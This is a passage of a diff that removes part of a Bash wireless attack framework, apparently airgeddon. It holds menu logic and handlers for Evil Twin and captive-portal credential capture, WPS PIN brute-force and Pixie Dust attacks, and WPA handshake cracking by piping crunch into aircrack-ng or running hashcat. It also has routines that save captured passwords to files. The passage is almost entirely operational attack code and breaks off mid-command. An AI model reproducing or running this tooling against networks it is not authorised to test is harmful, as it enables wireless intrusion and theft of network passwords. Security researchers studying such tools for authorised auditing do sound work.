-rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 - rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 -} - -#Manage cleaning firewall rules and restore orginal routing state -function clean_routing_rules() { - - debug_print - - if [ -n "${original_routing_state}" ]; then - echo "${original_routing_state}" > /proc/sys/net/ipv4/ip_forward - fi - - clean_iptables -} - -#Clean iptables rules -function clean_iptables() { - - debug_print - - iptables -F - iptables -t nat -F - iptables -X - iptables -t nat -X -} - -#Create an array from parameters -function store_array() { - - debug_print - - local values=("${@:3}") - for i in "${!values[@]}"; do - eval "${1}[\$2|${i}]=\${values[i]}" - done -} - -#Check if something (first parameter) is inside an array (second parameter) -contains_element() { - - debug_print - - local e - for e in "${@:2}"; do - [[ "${e}" = "${1}" ]] && return 0 - done - return 1 -} - -#Print hints from the different hint pools depending of the menu -function print_hint() { - - debug_print - - declare -A hints - - case ${1} in - "main_menu") - store_array hints main_hints "${main_hints[@]}" - hintlength=${#main_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[main_hints|${randomhint}]} - ;; - "dos_attacks_menu") - store_array hints dos_hints "${dos_hints[@]}" - hintlength=${#dos_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[dos_hints|${randomhint}]} - ;; - "handshake_tools_menu") - store_array hints handshake_hints "${handshake_hints[@]}" - hintlength=${#handshake_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[handshake_hints|${randomhint}]} - ;; - "attack_handshake_menu") - store_array hints handshake_attack_hints "${handshake_attack_hints[@]}" - hintlength=${#handshake_attack_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[handshake_attack_hints|${randomhint}]} - ;; - "decrypt_menu") - store_array hints decrypt_hints "${decrypt_hints[@]}" - hintlength=${#decrypt_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[decrypt_hints|${randomhint}]} - ;; - "select_interface_menu") - store_array hints select_interface_hints "${select_interface_hints[@]}" - hintlength=${#select_interface_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[select_interface_hints|${randomhint}]} - ;; - "language_menu") - store_array hints language_hints "${language_hints[@]}" - hintlength=${#language_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[language_hints|${randomhint}]} - ;; - "evil_twin_attacks_menu") - store_array hints evil_twin_hints "${evil_twin_hints[@]}" - hintlength=${#evil_twin_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[evil_twin_hints|${randomhint}]} - ;; - "et_dos_menu") - store_array hints evil_twin_dos_hints "${evil_twin_dos_hints[@]}" - hintlength=${#evil_twin_dos_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[evil_twin_dos_hints|${randomhint}]} - ;; - "wps_attacks_menu") - store_array hints wps_hints "${wps_hints[@]}" - hintlength=${#wps_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[wps_hints|${randomhint}]} - ;; - "beef_pre_menu") - store_array hints beef_hints "${beef_hints[@]}" - hintlength=${#beef_hints[@]} - ((hintlength--)) - randomhint=$(shuf -i 0-"${hintlength}" -n 1) - strtoprint=${hints[beef_hints|${randomhint}]} - ;; - esac - - print_simple_separator - language_strings "${language}" "${strtoprint}" "hint" - print_simple_separator -} - -#airgeddon main menu -function main_menu() { - - debug_print - - clear - language_strings "${language}" 101 "title" - current_menu="main_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - print_simple_separator - language_strings "${language}" 48 - language_strings "${language}" 55 - language_strings "${language}" 56 - print_simple_separator - language_strings "${language}" 118 - language_strings "${language}" 119 - language_strings "${language}" 169 - language_strings "${language}" 252 - language_strings "${language}" 333 - print_simple_separator - language_strings "${language}" 60 - language_strings "${language}" 78 - language_strings "${language}" 61 - print_hint ${current_menu} - - read -r main_option - case ${main_option} in - 1) - select_interface - ;; - 2) - monitor_option - ;; - 3) - managed_option - ;; - 4) - dos_attacks_menu - ;; - 5) - handshake_tools_menu - ;; - 6) - decrypt_menu - ;; - 7) - evil_twin_attacks_menu - ;; - 8) - wps_attacks_menu - ;; - 9) - credits_option - ;; - 10) - language_menu - ;; - 11) - exit_script_option - ;; - *) - invalid_menu_option - ;; - esac - - main_menu -} - -#Evil Twin attacks menu -function evil_twin_attacks_menu() { - - debug_print - - clear - language_strings "${language}" 253 "title" - current_menu="evil_twin_attacks_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - print_simple_separator - language_strings "${language}" 48 - language_strings "${language}" 55 - language_strings "${language}" 56 - language_strings "${language}" 49 - language_strings "${language}" 255 "separator" - language_strings "${language}" 256 et_onlyap_dependencies[@] - language_strings "${language}" 257 "separator" - language_strings "${language}" 259 et_sniffing_dependencies[@] - language_strings "${language}" 261 et_sniffing_sslstrip_dependencies[@] - language_strings "${language}" 396 - language_strings "${language}" 262 "separator" - language_strings "${language}" 263 et_captive_portal_dependencies[@] - print_simple_separator - language_strings "${language}" 260 - print_hint ${current_menu} - - read -r et_option - case ${et_option} in - 1) - select_interface - ;; - 2) - monitor_option - ;; - 3) - managed_option - ;; - 4) - explore_for_targets_option - ;; - 5) - contains_element "${et_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - check_interface_wifi - if [ "$?" = "0" ]; then - et_mode="et_onlyap" - et_dos_menu - else - echo - language_strings "${language}" 281 "red" - language_strings "${language}" 115 "read" - fi - fi - ;; - 6) - contains_element "${et_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - check_interface_wifi - if [ "$?" = "0" ]; then - et_mode="et_sniffing" - et_dos_menu - else - echo - language_strings "${language}" 281 "red" - language_strings "${language}" 115 "read" - fi - fi - ;; - 7) - contains_element "${et_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - check_interface_wifi - if [ "$?" = "0" ]; then - et_mode="et_sniffing_sslstrip" - et_dos_menu - else - echo - language_strings "${language}" 281 "red" - language_strings "${language}" 115 "read" - fi - fi - ;; - 8) - beef_pre_menu - ;; - 9) - contains_element "${et_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - check_interface_wifi - if [ "$?" = "0" ]; then - et_mode="et_captive_portal" - echo - language_strings "${language}" 316 "yellow" - language_strings "${language}" 115 "read" - - explore_for_targets_option - if [ "$?" = "0" ]; then - et_dos_menu - fi - else - echo - language_strings "${language}" 281 "red" - language_strings "${language}" 115 "read" - fi - fi - ;; - 10) - return - ;; - *) - invalid_menu_option - ;; - esac - - evil_twin_attacks_menu -} - -#beef pre attack menu -function beef_pre_menu() { - - debug_print - - if [ ${return_to_et_main_menu_from_beef} -eq 1 ]; then - return - fi - - search_for_beef - - clear - language_strings "${language}" 407 "title" - current_menu="beef_pre_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - print_simple_separator - - if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then - if [[ ${optional_tools[${optional_tools_names[5]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[6]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[7]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[18]}]} -eq 1 ]]; then - language_strings "${language}" 409 "warning" - language_strings "${language}" 416 "pink" - else - language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@] - fi - else - language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@] - fi - - print_simple_separator - language_strings "${language}" 410 - print_simple_separator - language_strings "${language}" 411 - print_hint ${current_menu} - - read -r beef_option - case ${beef_option} in - 1) - contains_element "${beef_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - check_interface_wifi - if [ "$?" = "0" ]; then - et_mode="et_sniffing_sslstrip2" - get_bettercap_version - et_dos_menu - else - echo - language_strings "${language}" 281 "red" - language_strings "${language}" 115 "read" - fi - fi - ;; - 2) - if [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then - echo - language_strings "${language}" 412 "red" - language_strings "${language}" 115 "read" - else - prepare_beef_start - fi - ;; - 3) - return - ;; - *) - invalid_menu_option - ;; - esac - - beef_pre_menu -} - -#WPS attacks menu -function wps_attacks_menu() { - - debug_print - - clear - language_strings "${language}" 334 "title" - current_menu="wps_attacks_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - print_simple_separator - language_strings "${language}" 48 - language_strings "${language}" 55 - language_strings "${language}" 56 - language_strings "${language}" 49 wash_scan_dependencies[@] - language_strings "${language}" 50 "separator" - language_strings "${language}" 345 bully_attacks_dependencies[@] - language_strings "${language}" 357 reaver_attacks_dependencies[@] - language_strings "${language}" 346 bully_pixie_dust_attack_dependencies[@] - language_strings "${language}" 358 reaver_pixie_dust_attack_dependencies[@] - language_strings "${language}" 347 bully_attacks_dependencies[@] - language_strings "${language}" 359 reaver_attacks_dependencies[@] - language_strings "${language}" 348 bully_attacks_dependencies[@] - language_strings "${language}" 360 reaver_attacks_dependencies[@] - print_simple_separator - language_strings "${language}" 361 - print_hint ${current_menu} - - read -r wps_option - case ${wps_option} in - 1) - select_interface - ;; - 2) - monitor_option - ;; - 3) - managed_option - ;; - 4) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - explore_for_wps_targets_option - fi - ;; - 5) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wps_attack="custompin_bully" - get_bully_version - set_bully_verbosity - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_wps_custom_pin_bully_attack - fi - fi - ;; - 6) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wps_attack="custompin_reaver" - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_wps_custom_pin_reaver_attack - fi - fi - ;; - 7) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wps_attack="pixiedust_bully" - get_bully_version - set_bully_verbosity - validate_bully_pixiewps_version - if [ "$?" = "0" ]; then - echo - language_strings "${language}" 368 "yellow" - language_strings "${language}" 115 "read" - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_bully_pixiewps_attack - fi - else - echo - language_strings "${language}" 367 "red" - language_strings "${language}" 115 "read" - fi - fi - ;; - 8) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wps_attack="pixiedust_reaver" - get_reaver_version - validate_reaver_pixiewps_version - if [ "$?" = "0" ]; then - echo - language_strings "${language}" 370 "yellow" - language_strings "${language}" 115 "read" - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_reaver_pixiewps_attack - fi - else - echo - language_strings "${language}" 371 "red" - language_strings "${language}" 115 "read" - fi - fi - ;; - 9) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wps_attack="bruteforce_bully" - get_bully_version - set_bully_verbosity - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_wps_bruteforce_pin_bully_attack - fi - fi - ;; - 10) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wps_attack="bruteforce_reaver" - get_reaver_version - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_wps_bruteforce_pin_reaver_attack - fi - fi - ;; - 11) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wps_attack="pindb_bully" - get_bully_version - set_bully_verbosity - - db_error=0 - if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then - check_pins_database_file - if [ "$?" = "0" ]; then - echo - language_strings "${language}" 373 "blue" - else - echo - language_strings "${language}" 372 "red" - db_error=1 - fi - else - echo - language_strings "${language}" 379 "blue" - fi - language_strings "${language}" 115 "read" - - if [ "${db_error}" -eq 0 ]; then - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_wps_pin_database_bully_attack - fi - fi - fi - ;; - 12) - contains_element "${wps_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wps_attack="pindb_reaver" - get_reaver_version - - db_error=0 - if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then - check_pins_database_file - if [ "$?" = "0" ]; then - echo - language_strings "${language}" 373 "blue" - else - echo - language_strings "${language}" 372 "red" - db_error=1 - fi - else - echo - language_strings "${language}" 379 "blue" - fi - language_strings "${language}" 115 "read" - if [ "${db_error}" -eq 0 ]; then - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_wps_pin_database_reaver_attack - fi - fi - fi - ;; - 13) - return - ;; - *) - invalid_menu_option - ;; - esac - - wps_attacks_menu -} - -#Offline decryption attacks menu -function decrypt_menu() { - - debug_print - - clear - language_strings "${language}" 170 "title" - current_menu="decrypt_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - language_strings "${language}" 176 "separator" - language_strings "${language}" 172 - language_strings "${language}" 175 aircrack_attacks_dependencies[@] - language_strings "${language}" 229 "separator" - language_strings "${language}" 230 hashcat_attacks_dependencies[@] - language_strings "${language}" 231 hashcat_attacks_dependencies[@] - language_strings "${language}" 232 hashcat_attacks_dependencies[@] - print_simple_separator - language_strings "${language}" 174 - print_hint ${current_menu} - - read -r decrypt_option - case ${decrypt_option} in - 1) - contains_element "${decrypt_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - aircrack_dictionary_attack_option - fi - ;; - 2) - contains_element "${decrypt_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - aircrack_bruteforce_attack_option - fi - ;; - 3) - contains_element "${decrypt_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - get_hashcat_version - set_hashcat_parameters - hashcat_dictionary_attack_option - fi - ;; - 4) - contains_element "${decrypt_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - get_hashcat_version - set_hashcat_parameters - hashcat_bruteforce_attack_option - fi - ;; - 5) - contains_element "${decrypt_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - get_hashcat_version - set_hashcat_parameters - hashcat_rulebased_attack_option - fi - ;; - 6) - return - ;; - *) - invalid_menu_option - ;; - esac - - decrypt_menu -} - -#Read the user input on rules file questions -function ask_rules() { - - debug_print - - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "rules" - done - language_strings "${language}" 241 "yellow" -} - -#Read the user input on dictionary file questions -function ask_dictionary() { - - debug_print - - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "dictionary" - done - language_strings "${language}" 181 "yellow" -} - -#Read the user input on Handshake file questions -function ask_capture_file() { - - debug_print - - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "targetfilefordecrypt" - done - language_strings "${language}" 189 "yellow" -} - -#Manage the questions on Handshake file questions -function manage_asking_for_captured_file() { - - debug_print - - if [ -n "${enteredpath}" ]; then - echo - language_strings "${language}" 186 "blue" - ask_yesno 187 - if [ ${yesno} = "n" ]; then - ask_capture_file - fi - else - ask_capture_file - fi -} - -#Manage the questions on dictionary file questions -function manage_asking_for_dictionary_file() { - - debug_print - - if [ -n "${DICTIONARY}" ]; then - echo - language_strings "${language}" 183 "blue" - ask_yesno 184 - if [ ${yesno} = "n" ]; then - ask_dictionary - fi - else - ask_dictionary - fi -} - -#Manage the questions on rules file questions -function manage_asking_for_rule_file() { - - debug_print - - if [ -n "${RULES}" ]; then - echo - language_strings "${language}" 239 "blue" - ask_yesno 240 - if [ ${yesno} = "n" ]; then - ask_rules - fi - else - ask_rules - fi -} - -#Validate the file to be cleaned -function check_valid_file_to_clean() { - - debug_print - - nets_from_file=$(echo "1" | aircrack-ng "${1}" 2> /dev/null | egrep "WPA|WEP" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') - - if [ "${nets_from_file}" = "" ]; then - return 1 - fi - - option_counter=0 - for item in ${nets_from_file}; do - if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then - option_counter=$((option_counter + 1)) - fi - done - - if [ ${option_counter} -le 1 ]; then - return 1 - fi - - handshakefilesize=$(wc -c "${filetoclean}" 2> /dev/null | awk -F " " '{print$1}') - if [ "${handshakefilesize}" -le 1024 ]; then - return 1 - fi - - echo "1" | aircrack-ng "${1}" 2> /dev/null | egrep "1 handshake" > /dev/null - if [ "$?" != "0" ]; then - return 1 - fi - - return 0 -} - -#Check if a bssid is present on a capture file to know if there is a Handshake with that bssid -function check_bssid_in_captured_file() { - - debug_print - - nets_from_file=$(echo "1" | aircrack-ng "${1}" 2> /dev/null | egrep "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') - - echo - if [ "${nets_from_file}" = "" ]; then - if [ ! -f "${1}" ]; then - language_strings "${language}" 161 "red" - language_strings "${language}" 115 "read" - else - language_strings "${language}" 216 "red" - language_strings "${language}" 115 "read" - fi - return 1 - fi - - declare -A bssids_detected - option_counter=0 - for item in ${nets_from_file}; do - if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then - option_counter=$((option_counter + 1)) - bssids_detected[${option_counter}]=${item} - fi - done - - for targetbssid in "${bssids_detected[@]}"; do - if [ "${bssid}" = "${targetbssid}" ]; then - language_strings "${language}" 322 "yellow" - return 0 - fi - done - - language_strings "${language}" 323 "red" - language_strings "${language}" 115 "read" - return 1 -} - -#Set the target vars to a bssid selecting them from a capture file which has a Handshake -function select_wpa_bssid_target_from_captured_file() { - - debug_print - - nets_from_file=$(echo "1" | aircrack-ng "${1}" 2> /dev/null | egrep "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') - - echo - if [ "${nets_from_file}" = "" ]; then - language_strings "${language}" 216 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - declare -A bssids_detected - option_counter=0 - for item in ${nets_from_file}; do - if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then - option_counter=$((option_counter + 1)) - bssids_detected[${option_counter}]=${item} - fi - done - - for targetbssid in "${bssids_detected[@]}"; do - if [ "${bssid}" = "${targetbssid}" ]; then - language_strings "${language}" 192 "blue" - ask_yesno 193 - - if [ ${yesno} = "y" ]; then - bssid=${targetbssid} - return 0 - fi - break - fi - done - - bssid_autoselected=0 - if [ ${option_counter} -gt 1 ]; then - option_counter=0 - for item in ${nets_from_file}; do - if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then - - option_counter=$((option_counter + 1)) - - if [ ${option_counter} -lt 10 ]; then - space=" " - else - space="" - fi - - echo -n "${option_counter}.${space}${item}" - elif [[ ${item} =~ \)$ ]]; then - echo -en "${item}\r\n" - else - echo -en " ${item} " - fi - done - print_hint ${current_menu} - - target_network_on_file=0 - while [[ ${target_network_on_file} -lt 1 || ${target_network_on_file} -gt ${option_counter} ]]; do - echo - language_strings "${language}" 3 "green" - read -r target_network_on_file - done - - else - target_network_on_file=1 - bssid_autoselected=1 - fi - - bssid=${bssids_detected[${target_network_on_file}]} - - if [ ${bssid_autoselected} -eq 1 ]; then - language_strings "${language}" 217 "blue" - fi - - return 0 -} - -#Validate and ask for the different parameters used in an aircrack dictionary based attack -function aircrack_dictionary_attack_option() { - - debug_print - - manage_asking_for_captured_file - - select_wpa_bssid_target_from_captured_file "${enteredpath}" - if [ "$?" != "0" ]; then - return - fi - - manage_asking_for_dictionary_file - - echo - language_strings "${language}" 190 "yellow" - language_strings "${language}" 115 "read" - exec_aircrack_dictionary_attack -} - -#Validate and ask for the different parameters used in an aircrack bruteforce based attack -function aircrack_bruteforce_attack_option() { - - debug_print - - manage_asking_for_captured_file - - select_wpa_bssid_target_from_captured_file "${enteredpath}" - if [ "$?" != "0" ]; then - return - fi - - set_minlength_and_maxlength - - charset_option=0 - while [[ ${charset_option} -lt 1 || ${charset_option} -gt 11 ]]; do - set_charset "aircrack" - done - - echo - language_strings "${language}" 209 "blue" - echo - language_strings "${language}" 190 "yellow" - language_strings "${language}" 115 "read" - exec_aircrack_bruteforce_attack -} - -#Validate and ask for the different parameters used in a hashcat dictionary based attack -function hashcat_dictionary_attack_option() { - - debug_print - - manage_asking_for_captured_file - - select_wpa_bssid_target_from_captured_file "${enteredpath}" - if [ "$?" != "0" ]; then - return - fi - - manage_asking_for_dictionary_file - - echo - language_strings "${language}" 190 "yellow" - language_strings "${language}" 115 "read" - exec_hashcat_dictionary_attack - manage_hashcat_pot -} - -#Validate and ask for the different parameters used in a hashcat bruteforce based attack -function hashcat_bruteforce_attack_option() { - - debug_print - - manage_asking_for_captured_file - - select_wpa_bssid_target_from_captured_file "${enteredpath}" - if [ "$?" != "0" ]; then - return - fi - - set_minlength_and_maxlength - - charset_option=0 - while [[ ${charset_option} -lt 1 || ${charset_option} -gt 5 ]]; do - set_charset "hashcat" - done - - echo - language_strings "${language}" 209 "blue" - echo - language_strings "${language}" 190 "yellow" - language_strings "${language}" 115 "read" - exec_hashcat_bruteforce_attack - manage_hashcat_pot -} - -#Validate and ask for the different parameters used in a hashcat rule based attack -function hashcat_rulebased_attack_option() { - - debug_print - - manage_asking_for_captured_file - - select_wpa_bssid_target_from_captured_file "${enteredpath}" - if [ "$?" != "0" ]; then - return - fi - - manage_asking_for_dictionary_file - - manage_asking_for_rule_file - - echo - language_strings "${language}" 190 "yellow" - language_strings "${language}" 115 "read" - exec_hashcat_rulebased_attack - manage_hashcat_pot -} - -#Check if the password was decrypted using hashcat and manage to save it on a file -function manage_hashcat_pot() { - - debug_print - - local regexp="All hashes have been recovered" - if [ -n "${hashcat_fix}" ]; then - local regexp="Status\.{1,9}:[[:space:]]Cracked" - fi - - if [[ ${hashcat_output} =~ ${regexp} ]]; then - - echo - language_strings "${language}" 234 "yellow" - ask_yesno 235 - if [ ${yesno} = "y" ]; then - - hashcat_potpath="${default_save_path}" - lastcharhashcat_potpath=${hashcat_potpath: -1} - if [ "${lastcharhashcat_potpath}" != "/" ]; then - hashcat_potpath="${hashcat_potpath}/" - fi - hashcatpot_filename="hashcat-${bssid}.pot" - hashcat_potpath="${hashcat_potpath}${hashcatpot_filename}" - - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "hashcatpot" - done - - cp "${tmpdir}hctmp.pot" "${potenteredpath}" - echo - language_strings "${language}" 236 "blue" - language_strings "${language}" 115 "read" - fi - fi -} - -#Check if the passwords were captured using ettercap and manage to save them on a file -function manage_ettercap_log() { - - debug_print - - ettercap_log=0 - ask_yesno 302 - if [ ${yesno} = "y" ]; then - ettercap_log=1 - default_ettercap_logpath="${default_save_path}" - lastcharettercaplogpath=${default_ettercap_logpath: -1} - if [ "${lastcharettercaplogpath}" != "/" ]; then - ettercap_logpath="${default_ettercap_logpath}/" - fi - default_ettercaplogfilename="evil_twin_captured_passwords-${essid}.txt" - rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1 - tmp_ettercaplog="${tmpdir}${ettercap_file}" - default_ettercap_logpath="${ettercap_logpath}${default_ettercaplogfilename}" - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "ettercaplog" - done - fi -} - -#Check if the passwords were captured using bettercap and manage to save them on a file -function manage_bettercap_log() { - - debug_print - - bettercap_log=0 - ask_yesno 302 - if [ ${yesno} = "y" ]; then - bettercap_log=1 - default_bettercap_logpath="${default_save_path}" - lastcharbettercaplogpath=${default_bettercap_logpath: -1} - if [ "${lastcharbettercaplogpath}" != "/" ]; then - bettercap_logpath="${default_bettercap_logpath}/" - fi - default_bettercaplogfilename="evil_twin_captured_passwords-bettercap-${essid}.txt" - rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1 - tmp_bettercaplog="${tmpdir}${bettercap_file}" - default_bettercap_logpath="${bettercap_logpath}${default_bettercaplogfilename}" - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "bettercaplog" - done - fi -} - -#Check if the passwords were captured using the captive portal Evil Twin attack and manage to save them on a file -function manage_captive_portal_log() { - - debug_print - - default_et_captive_portal_logpath="${default_save_path}" - lastcharetcaptiveportallogpath=${default_et_captive_portal_logpath: -1} - if [ "${lastcharetcaptiveportallogpath}" != "/" ]; then - et_captive_portal_logpath="${default_et_captive_portal_logpath}/" - fi - default_et_captive_portallogfilename="evil_twin_captive_portal_password-${essid}.txt" - default_et_captive_portal_logpath="${et_captive_portal_logpath}${default_et_captive_portallogfilename}" - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "et_captive_portallog" - done -} - -#Captive portal language menu -function set_captive_portal_language() { - - debug_print - - clear - language_strings "${language}" 293 "title" - print_iface_selected - print_et_target_vars - print_iface_internet_selected - echo - language_strings "${language}" 318 "green" - print_simple_separator - language_strings "${language}" 79 - language_strings "${language}" 80 - language_strings "${language}" 113 - language_strings "${language}" 116 - language_strings "${language}" 249 - language_strings "${language}" 308 - language_strings "${language}" 320 - print_hint ${current_menu} - - read -r captive_portal_language_selected - echo - case ${captive_portal_language_selected} in - 1) - captive_portal_language="ENGLISH" - ;; - 2) - captive_portal_language="SPANISH" - ;; - 3) - captive_portal_language="FRENCH" - ;; - 4) - captive_portal_language="CATALAN" - ;; - 5) - captive_portal_language="PORTUGUESE" - ;; - 6) - captive_portal_language="RUSSIAN" - ;; - 7) - captive_portal_language="GREEK" - ;; - *) - invalid_captive_portal_language_selected - ;; - esac -} - -#Read and validate the minlength var -function set_minlength() { - - debug_print - - minlength=0 - while [[ ! ${minlength} =~ ^[8-9]$|^[1-5][0-9]$|^6[0-3]$ ]]; do - echo - language_strings "${language}" 194 "green" - read -r minlength - done -} - -#Read and validate the maxlength var -function set_maxlength() { - - debug_print - - maxlength=0 - while [[ ! ${maxlength} =~ ^[8-9]$|^[1-5][0-9]$|^6[0-3]$ ]]; do - echo - language_strings "${language}" 195 "green" - read -r maxlength - done -} - -#Manage the minlength and maxlength vars on bruteforce attacks -function set_minlength_and_maxlength() { - - debug_print - - set_minlength - maxlength=0 - while [[ ${maxlength} -lt ${minlength} ]]; do - set_maxlength - done -} - -#Charset selection menu -function set_charset() { - - debug_print - - clear - language_strings "${language}" 238 "title" - language_strings "${language}" 196 "green" - print_simple_separator - language_strings "${language}" 197 - language_strings "${language}" 198 - language_strings "${language}" 199 - language_strings "${language}" 200 - - case ${1} in - "aircrack") - language_strings "${language}" 201 - language_strings "${language}" 202 - language_strings "${language}" 203 - language_strings "${language}" 204 - language_strings "${language}" 205 - language_strings "${language}" 206 - language_strings "${language}" 207 - print_hint ${current_menu} - read -r charset_option - case ${charset_option} in - 1) - charset=${crunch_lowercasecharset} - ;; - 2) - charset=${crunch_uppercasecharset} - ;; - 3) - charset=${crunch_numbercharset} - ;; - 4) - charset=${crunch_symbolcharset} - ;; - 5) - charset="${crunch_lowercasecharset}${crunch_uppercasecharset}" - ;; - 6) - charset="${crunch_lowercasecharset}${crunch_numbercharset}" - ;; - 7) - charset="${crunch_uppercasecharset}${crunch_numbercharset}" - ;; - 8) - charset="${crunch_symbolcharset}${crunch_numbercharset}" - ;; - 9) - charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_numbercharset}" - ;; - 10) - charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_symbolcharset}" - ;; - 11) - charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_numbercharset}${crunch_symbolcharset}" - ;; - esac - ;; - "hashcat") - language_strings "${language}" 237 - print_hint ${current_menu} - read -r charset_option - case ${charset_option} in - 1) - charset="?l" - ;; - 2) - charset="?u" - ;; - 3) - charset="?d" - ;; - 4) - charset="?s" - ;; - 5) - charset="?a" - ;; - esac - - charset_tmp=${charset} - for ((i=0; i < maxlength - 1; i++)); do - charset+=${charset_tmp} - done - ;; - esac - - set_show_charset "${1}" -} - -#Set a var to show the chosen charset -function set_show_charset() { - - debug_print - - showcharset="" - - case ${1} in - "aircrack") - showcharset="${charset}" - ;; - "hashcat") - case ${charset_tmp} in - "?a") - for item in "${hashcat_charsets[@]}"; do - if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then - showcharset+=$(hashcat --help | grep "${item} =" | awk '{print $3}') - else - showcharset+=$(hashcat --help | egrep "^ ${item#'?'} \|" | awk '{print $3}') - fi - done - ;; - *) - if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then - showcharset=$(hashcat --help | grep "${charset_tmp} =" | awk '{print $3}') - else - showcharset=$(hashcat --help | egrep "^ ${charset_tmp#'?'} \|" | awk '{print $3}') - fi - ;; - esac - ;; - esac -} - -#Execute aircrack+crunch bruteforce attack -function exec_aircrack_bruteforce_attack() { - - debug_print - - crunch "${minlength}" "${maxlength}" "${charset}" | aircrack-ng -a 2 -b "${bssid}" -w - "${enteredpath}" - language_strings "${language}" 115 "read" -} - -#Execute aircrack dictionary attack -function exec_aircrack_dictionary_attack() { - - debug_print - - aircrack-ng -a 2 -b "${bssid}" -w "${DICTIONARY}" 